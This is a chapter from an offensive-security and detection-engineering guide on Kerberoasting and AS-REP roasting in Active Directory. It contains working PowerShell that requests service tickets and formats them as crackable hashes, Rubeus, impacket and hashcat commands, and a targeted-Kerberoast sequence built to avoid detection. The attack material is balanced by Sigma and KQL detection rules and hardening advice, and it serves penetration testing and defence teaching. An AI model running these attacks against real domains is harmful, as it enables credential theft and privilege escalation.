Chapter 182

Kerberoasting and AS-REP Roasting

Kerberoasting and AS-REP Roasting are the two most widely exploited credential attacks in Active Directory environments because they require only valid domain user credentials, generate no alert on the target, and the cracking happens entirely offline. Understanding the Kerberos protocol mechanics — specifically which fields are encrypted with which key — explains why these attacks exist and what the detection boundaries are.

Scenario

You have a low-privilege domain user. Credential Guard blocks LSASS dumping. You enumerate the domain and find 12 accounts with SPNs set — three of them are SQL service accounts that have not had their passwords rotated in 3 years. You request their service tickets, which are encrypted with the service account's NTLM hash. Offline cracking of weak passwords takes minutes. Two of the three crack within an hour, giving you service account credentials and the start of a privilege escalation chain.

Kerberos Authentication Flow

Kerberos TGT + Service Ticket flow: Client KDC (Domain Controller) Service │ │ │ │── AS-REQ ────────────►│ │ │ (username, pre-auth │ │ │ encrypted w/ user │ │ │ password hash) │ │ │◄── AS-REP ────────────│ │ │ TGT encrypted with │ │ │ KRBTGT hash │ │ │ (client cannot read │ │ │ TGT contents) │ │ │ │ │ │── TGS-REQ ────────────►│ │ │ (TGT + target SPN) │ │ │◄── TGS-REP ────────────│ │ │ Service Ticket (ST) │ │ │ encrypted with │ │ │ SERVICE ACCT hash ◄─── KERBEROAST TARGET │ │ │ │ │── AP-REQ ─────────────────────────────────────►│ │ (Service Ticket) │ │ │◄── AP-REP ─────────────────────────────────────│ │ (mutual auth) │ │ Kerberoasting: request a TGS for any SPN (requires only valid domain user auth). The TGS is encrypted with the service account's NT hash. Crack the TGS offline → recover service account password. AS-REP Roasting: accounts with "Do not require Kerberos pre-authentication" set allow AS-REQ without proof of password. The AS-REP contains an encrypted portion using the user's NT hash — crackable offline.

Kerberoasting

# Native PowerShell Kerberoasting — no tools required.
# Request a service ticket for each SPN-set account; extract the ticket from
# the Kerberos credential cache; the ticket's encrypted part uses the service account's hash.

Add-Type -AssemblyName System.IdentityModel

function Invoke-Kerberoast {
    $domain  = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    $searcher = New-Object System.DirectoryServices.DirectorySearcher(
        [ADSI]"LDAP://$($domain.PdcRoleOwner)")
    $searcher.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!samAccountName=krbtgt))"
    $searcher.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname"))

    $searcher.FindAll() | ForEach-Object {
        $samname = $_.Properties["samaccountname"][0]
        $spn     = $_.Properties["serviceprincipalname"][0]

        try {
            # GetKerberosServiceTicket: requests TGS from DC and caches it
            $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
            $ticketBytes = $ticket.GetRequest()

            # Extract the encrypted portion (offset 36 in the Kerberos message)
            $hexTicket = [System.BitConverter]::ToString($ticketBytes) -replace '-'

            # Format as hashcat mode 13100 ($krb5tgs$23$...)
            [PSCustomObject]@{
                User   = $samname
                SPN    = $spn
                Hash   = "`$krb5tgs`$23`$*$samname`$DOMAIN`$$spn*`$$hexTicket"
            }
        } catch { }
    }
}

AS-REP Roasting

# AS-REP Roasting: find accounts with DONT_REQUIRE_PREAUTH flag set
# (userAccountControl bit 0x400000 = 4194304).
# These accounts respond to AS-REQ without validating the pre-auth timestamp.
# The encrypted portion of AS-REP uses the user's NT hash — crackable offline.

# Find vulnerable accounts:
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$searcher.FindAll() | ForEach-Object { $_.Properties["samaccountname"][0] }

# Request AS-REP using Rubeus (outputs hashcat-ready hash):
# Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# From Linux without domain credentials (unauthenticated AS-REP roast):
# impacket: GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -outputfile asrep.txt

# Python implementation of the AS-REP request (pure socket, no domain creds):
import impacket.krb5.asn1 as asn1
import impacket.krb5.kerberosv5 as kerb
# sendAsReq(userName, domain, keyType=18 for AES256 or 23 for RC4)
# If RC4 supported: hash format $krb5asrep$23$user@DOMAIN:...

Targeted Kerberoasting

# Targeted Kerberoasting: set an SPN on an account you can modify (GenericWrite),
# request its service ticket (now crackable), then remove the SPN after extraction.
# Useful when high-value accounts have no SPN set but you have GenericWrite on them.

# Step 1: Set a fake SPN on target account
Set-ADUser -Identity TargetAdmin -ServicePrincipalNames @{Add="http/fake.corp.local"}

# Step 2: Request TGS for this SPN (same as regular Kerberoasting)
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
    -ArgumentList "http/fake.corp.local"
$bytes  = $ticket.GetRequest()
# Extract + save hash for cracking

# Step 3: Remove the SPN to avoid detection
Set-ADUser -Identity TargetAdmin -ServicePrincipalNames @{Remove="http/fake.corp.local"}

# This leaves a very short window: Event 4769 (service ticket request) is logged
# but the SPN modification (Event 4738 with ServicePrincipalName field) brackets it.
# Correlation: 4738 + 4769 for same account in close timeframe = targeted Kerberoast.

Offline Cracking

# Hashcat modes:
# Kerberoasting (TGS-REP RC4): mode 13100
# Kerberoasting (TGS-REP AES128): mode 19600
# Kerberoasting (TGS-REP AES256): mode 19700
# AS-REP Roasting (RC4): mode 18200

# Kerberoast with rockyou + rules:
hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# AS-REP Roast:
hashcat -m 18200 -a 0 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# For service accounts with complex passwords, use targeted wordlist:
# 1. Company name variations + year + special chars
# 2. Season + year patterns (Spring2023!, Winter2024@)
# 3. Company-specific terms from website/LinkedIn

# Force RC4 encryption on TGS request (degrades from AES to weaker RC4):
# Some older DCs still allow RC4 downgrade — easier to crack than AES.
# Rubeus: /enctype:RC4 flag on kerberoast command

# Statistics: in pen test data, ~30-40% of Kerberoastable accounts crack within
# 24h against a standard wordlist + rules, especially older service accounts.

Detection Engineering

title: Kerberoasting — RC4 Service Ticket Requested for Unusual SPN
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'   # RC4 — downgraded from AES
    ServiceName|not_endswith: '$'   # exclude computer accounts (krbtgt$, etc.)
  filter_normal:
    ServiceName: 'krbtgt'
  condition: selection AND NOT filter_normal
level: medium
tags: [attack.credential_access, T1558.003]

title: AS-REP Roasting — Multiple AS-REQ Without Pre-Authentication
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768
    PreAuthType: '0'   # No pre-auth (DONT_REQ_PREAUTH accounts)
    Status: '0x0'    # Success
  timeframe: 5m
  condition: selection | count() by IpAddress > 5
level: high

title: Targeted Kerberoasting — SPN Set Then Immediately Requested
logsource:
  product: windows
  service: security
detection:
  spn_set:
    EventID: 4738
    UserAccountControl|contains: 'ServicePrincipalName'
  tgs_request:
    EventID: 4769
  timeframe: 60s
  condition: spn_set AND tgs_request
level: critical

-- MDE KQL: bulk TGS requests (Kerberoast sweep)
IdentityDirectoryEvents
| where ActionType == "Kerberos service ticket request"
| summarize
    ticket_count = count(),
    services = make_set(DestinationDeviceName)
  by AccountUpn, bin(Timestamp, 5m)
| where ticket_count > 10
| project Timestamp, AccountUpn, ticket_count, services

Q&A

If an organization enforces AES-only Kerberos encryption and uses Managed Service Accounts (MSAs) for all service accounts, does Kerberoasting still work, and what residual attack surface remains?

Enforcing AES-only Kerberos (setting msDS-SupportedEncryptionTypes to exclude RC4) significantly raises the difficulty of Kerberoasting but does not eliminate it. AES-256 tickets (hashcat mode 19700) are crackable offline — the algorithm is identical in structure to RC4-based attacks: request TGS, extract the encrypted blob, run against a wordlist. The practical difference is speed: modern GPUs crack RC4 Kerberos tickets at roughly 3-5× the speed of AES-256 because RC4 is a stream cipher with very cheap key scheduling versus AES's heavier block cipher operations. A service account password that would crack in 10 minutes against RC4 might take 50 minutes against AES-256. Against a password like Spring2024! that's still entirely practical.

Managed Service Accounts and Group Managed Service Accounts (gMSAs) close the attack almost entirely. The key property of gMSA is that Windows generates and rotates a 240-character random password automatically (stored in the msDS-ManagedPassword attribute, readable only by designated computers). A 240-character random password against any wordlist or mask attack is computationally infeasible to crack regardless of the encryption type. Even if an attacker requests the TGS, they get an AES-256 encrypted blob of a 240-character random password — running that against hashcat produces nothing.

The residual attack surface after gMSA adoption is: (1) legacy applications that cannot use gMSA (old IIS app pools, certain Java app servers, third-party services) still require traditional service accounts with human-set passwords — these must be specifically inventoried and hardened; (2) gMSA credentials are readable by the servers designated in the msDS-GroupMSAMembership attribute — if an attacker compromises a server in that list, they can read the gMSA password directly from AD; (3) any regular user account that has an SPN set (common with developer accounts who set SPNs for local development) remains Kerberoastable. The practical detection engineering answer is: maintain a SIEM alert for any Event 4769 requesting a TGS for a service name that is not a known gMSA account SPN — any traditional service account still in use will appear as a deviation from baseline.